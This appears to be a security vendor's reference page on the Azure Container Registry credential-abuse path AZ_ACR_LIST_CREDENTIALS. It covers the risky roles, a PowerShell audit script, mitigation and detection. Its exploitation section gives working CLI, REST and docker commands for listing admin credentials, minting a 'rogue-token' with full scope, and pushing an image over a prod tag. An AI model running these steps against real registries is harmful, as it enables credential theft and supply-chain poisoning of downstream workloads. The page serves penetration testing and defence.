Skip to content

AZ_ACR_LIST_CREDENTIALS

Copy page

Summary

Forestall ACL Alias AZ_ACR_LIST_CREDENTIALS
Azure Alias ACR List Credentials / Generate Token Credentials
Affected Object Types Container Registries (ACR)
Exploitation Certainty Certain
Severity High
Azure RBAC Roles Owner (8e3af657-a8ff-443c-a75c-2fe8c4bcb635), Contributor (b24988ac-6180-42a0-ab88-20f7382dd24c), Container Registry Contributor and Data Access Configuration Administrator (3bc748fc-213d-45c1-8d91-9da5725539b9), Container Registry Configuration Reader and Data Access Configuration Reader (69b07be0-09bf-439a-b9a6-e73de851bd59), Container Registry Connected Registry Administrator (281928aa-9782-4d9a-954a-3f34c1ed9f95)

Custom Role Actions:

  • Microsoft.ContainerRegistry/registries/listCredentials/action
  • Microsoft.ContainerRegistry/registries/generateCredentials/action
  • Microsoft.ContainerRegistry/registries/tokens/write

Description

AZ_ACR_LIST_CREDENTIALS is the risk that an attacker (or insider) with the right Azure resource permissions can retrieve the registry admin username/password or mint scoped tokens with a generated password for an Azure Container Registry. Either path hands the attacker push/pull credentials, i.e. full control over the registry contents - they can plant or replace images that downstream consumers (AKS, App Service, Function Apps, build pipelines) then pull and execute.

Two abuse paths

Permission What it returns Consequence
Microsoft.ContainerRegistry/registries/listCredentials/action Static admin username/password (only when Admin user is enabled on the registry). Permanent push + pull credential good for the lifetime of the password rotation.
Microsoft.ContainerRegistry/registries/generateCredentials/action + tokens/write A scoped token + generated password (works even when Admin user is disabled). Token can be created with _repositories_admin scope = full registry access.

Pre-condition for listCredentials: the registry must have Admin user = Enabled (Access keys blade). If admin is disabled the call fails with 400 Bad Request and a message like “The admin user is disabled for the container registry”.

generateCredentials does not require admin user to be enabled - this is the harder-to-mitigate path.

Built-in roles that grant these actions

Beyond the blanket Owner / Contributor roles (which win via wildcard), Azure ships purpose-built ACR roles that hand out the credential actions directly. Any assignment of these at registry, resource-group, or subscription scope is exploitable:

Built-in role Role ID Method 1 listCredentials Method 2 generateCredentials + tokens/write
Owner 8e3af657-a8ff-443c-a75c-2fe8c4bcb635 ✅ (via *) ✅ (via *)
Contributor b24988ac-6180-42a0-ab88-20f7382dd24c ✅ (via * minus auth) ✅ (via * minus auth)
Container Registry Contributor and Data Access Configuration Administrator 3bc748fc-213d-45c1-8d91-9da5725539b9 ✅ ✅
Container Registry Configuration Reader and Data Access Configuration Reader 69b07be0-09bf-439a-b9a6-e73de851bd59 ✅ ❌ (has tokens/read only, not tokens/write)
Container Registry Connected Registry Administrator 281928aa-9782-4d9a-954a-3f34c1ed9f95 ❌ (no listCredentials/action) ✅ (holds generateCredentials/action, tokens/write, scopeMaps/write)
Related edges: AZ_ACR_PUSH AZ_EXECUTE_COMMAND (ACR Tasks section)

Identification

PowerShell (Az Module)

Connect-AzAccount
$acrCredActions = @(
'Microsoft.ContainerRegistry/registries/listCredentials/action',
'Microsoft.ContainerRegistry/registries/generateCredentials/action',
'Microsoft.ContainerRegistry/registries/tokens/write'
)
$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
$acts = @($_.Actions)
if ($acts -contains '*') { return $true }
if ($acts -contains 'Microsoft.ContainerRegistry/*') { return $true }
if ($acts -contains 'Microsoft.ContainerRegistry/registries/*') { return $true }
foreach ($a in $acrCredActions) { if ($acts -contains $a) { return $true } }
return $false
} | Select-Object -ExpandProperty Name -Unique
Get-AzRoleAssignment |
Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
Sort-Object RoleDefinitionName, Scope |
Format-Table -AutoSize
# Show registries that still have Admin user enabled (listCredentials path)
Get-AzContainerRegistry | Select-Object Name, ResourceGroupName, AdminUserEnabled, Sku | Format-Table -AutoSize

Exploitation

Replace <RegistryName> and <RGName> with your own values. These examples are for authorized testing only.

Method 1: List admin credentials - listCredentials/action

Returns the static admin username and the two passwords. Works only when Admin user is enabled on the registry.

Azure CLI

az acr credential show --name "<RegistryName>"

PowerShell

Get-AzContainerRegistryCredential -ResourceGroupName "<RGName>" -Name "<RegistryName>"

REST

TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)
curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/listCredentials?api-version=2023-07-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Length: 0"

The response returns the admin username plus both password values:

listCredentials REST call returning the admin username and password/password2

listCredentials REST call returning the admin username and password/password2

Use the returned credentials with docker login for full push/pull access:

docker login <RegistryName>.azurecr.io -u <AdminUsername> -p '<AdminPassword>'
# Now you can push or overwrite any image in the registry
docker pull alpine:3.20
docker tag alpine:3.20 <RegistryName>.azurecr.io/prod/myapp:latest
docker push <RegistryName>.azurecr.io/prod/myapp:latest

Logging in with the admin credentials, then pulling a base image and pushing it into a prod/ repository - full push access confirmed:

docker login with admin credentials, then pull, tag, and push an image into prod/myapp

docker login with admin credentials, then pull, tag, and push an image into prod/myapp

Method 2: Generate a scoped token - generateCredentials/action + tokens/write

Works even when Admin user is disabled. Creates a registry token with a chosen scope map (e.g. _repositories_admin for full access) and returns a fresh password.

Azure CLI

# 1. Create (or reuse) a token bound to the built-in _repositories_admin scope map
az acr token create \
--registry "<RegistryName>" \
--name "rogue-token" \
--scope-map "_repositories_admin" \
--status enabled
# 2. Generate a password for the token
az acr token credential generate \
--registry "<RegistryName>" \
--name "rogue-token" \
--password1 \
--expiration-in-days 365 \
--query 'passwords[0].value' -o tsv
az acr token create output showing rogue-token bound to _repositories_admin with generated password1 and password2

az acr token create output showing rogue-token bound to _repositories_admin with generated password1 and password2

REST

TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)
curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/generateCredentials?api-version=2023-07-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"tokenId": "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/tokens/rogue-token",
"expiry": "2099-12-31T23:59:59.000Z"
}'

Then docker login with the token name as username and the generated value as password:

docker login <RegistryName>.azurecr.io -u "rogue-token" -p "<generated-password>"

Authenticating with the token name as the username and the generated password succeeds:

docker login with -u rogue-token and the generated token password returning Login Succeeded

docker login with -u rogue-token and the generated token password returning Login Succeeded

Downstream impact - supply-chain poisoning

Once authenticated, an attacker can:

  • Replace existing tags that AKS / App Service / Function Apps / pipelines pull on the next deploy.
  • Push a new image under a name that matches an internal naming convention to bait an admin into deploying it.
  • Read every image in the registry to harvest secrets baked into image layers.

This pivots cleanly into AZ_ACR_PUSH / AZ_EXECUTE_COMMAND on whatever workload pulls the poisoned image.

Mitigation

  1. Disable Admin user (Properties blade -> Admin user = Disabled, or az acr update --name <RegistryName> --admin-enabled false). Removes the listCredentials path entirely.
  2. Prefer Microsoft Entra authentication (az acr login) and managed identities for downstream consumers; avoid static docker login with admin credentials.
  3. Restrict registry tokens - if you don’t need the Tokens / Scope-map feature, leave it unused. If you do, scope tokens to a single repository (e.g. <repo>:content/read) instead of _repositories_admin.
  4. Limit Owner / Contributor at registry scope - assign AcrPull / AcrPush at fine scope rather than blanket Contributor.
  5. Enable resource locks on production registries to prevent unwanted token / scope-map creation.
  6. Rotate admin passwords on a schedule (az acr credential renew --name <RegistryName> --password-name password) and treat any unexpected rotation event as suspicious.
  7. Forward Activity Log + ACR audit logs to a SIEM and alert on listCredentials / generateCredentials calls.

Detection

Use the Azure Portal:

  1. Open Azure Portal -> target container registry (or scope to subscription / resource group).
  2. Open Activity log.
  3. Filter Operation for credential retrieval activity, such as List Registry Credentials, Generate Registry Credentials, and Create or Update Token.
  4. Review the Event initiated by, Timestamp, Resource, Status, and Change history fields for unexpected callers, brand-new tokens created right before the call, or generateCredentials calls against _repositories_admin scope maps.
  5. On the registry blade, open Tokens (Preview) and review the Created on + Expiration of every token. A token created moments before a credential generation event is a strong indicator.
  6. Cross-reference with Microsoft Entra sign-in logs for the calling principal to identify the source IP and session.

References

Was this page helpful?

Thank you for your feedback.